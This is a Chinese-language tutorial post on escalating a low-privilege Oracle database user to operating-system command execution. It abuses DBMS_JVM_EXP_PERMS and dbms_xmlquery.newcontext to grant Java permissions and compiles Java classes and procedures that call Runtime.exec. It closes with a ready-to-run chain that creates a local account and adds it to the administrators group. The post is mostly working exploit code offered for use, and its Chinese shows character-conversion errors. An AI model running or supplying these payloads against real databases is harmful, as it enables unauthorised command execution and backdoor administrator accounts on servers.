Oracle数据库提权(dba权限执行系统命令)

 

0x01 提权准备

这里咱们先建立一个低权限的用户test

 

SQL> conn sys/admin123@orcl as sysdba;

 

已链接。

SQL> create user test identified by test;

 

 

 

而后查看一下权限

SQL> select * from session_privs; PRIVILEGE CREATE SESSION

 

如上显示，test没有JAVA权限，也只有CREATE SESSION权限

 

咱们若是要经过数据库执行系统命令，那么首先要提高数据库用户的权限。

 

 

 

咱们首先要获取java权限

DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT', 'ZTZ', 'SYS', 'java.io.FilePermission', '<<ALL FILES>>', 'execute', 'ENABLED' FROM DUAL; BEGIN

    OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; /

 

 

若是想要执行任意代码的话还须要额外得到java.lang.RuntimePermission权限

DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission', 'writeFileDescriptor', 'NULL', 'ENABLED' FROM DUAL; BEGIN

    OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; /

 DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission', 'readFileDescriptor', 'NULL', 'ENABLED' FROM DUAL; BEGIN

    OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; /

 

 

0x02 JAVA权限执行命令

 

用咱们的test账号登陆

 

 

一、首先咱们建立java包

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

 

 

 

二、而后咱们获取java权限

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

 

 

3、建立咱们用来执行命令的函数

select dbms_xmlquery.newcontext('declar
e PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

 

四、执行命令

select LinxRUNCMD('whoami') from dual;

 

 

0x03 存储过程执行命令

 

若咱们有create procedure权限，而不仅是create session这么苦逼时，咱们能够建立一个java class而后用建立一个过程来进行调用

 

 

一、首先建立一个java class而后用procedure包装它进行调用

create or replace and resolve java source named JAVACMD as import java.lang.*; import java.io.*; public class JAVACMD { public static void execmd(String command) throws IOException { Runtime.getRuntime().exec(command); } } /

 

 

 

 

二、建立调用的包

create or replace procedure MYJAVACMD(command in varchar) as language java name 'JAVACMD.execmd(java.lang.String)'; /

 

 

三、执行咱们的命令

EXEC MYJAVACMD('net user qingxin qingxin /add');

 

 

会报错是由于代码中没有捕获异常，咱们再执行一次便可

 

 

 

 

附上一把梭哈

 

 

CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*;public class JAVACMD {public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command); } };/

CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVACMD.execCommand (java.lang.String)';/

exec javacmdproc('cmd.exe /c net user qingxin qingxin /add'); exec javacmdproc('cmd.exe /c net localgroup administrators qingxin /add');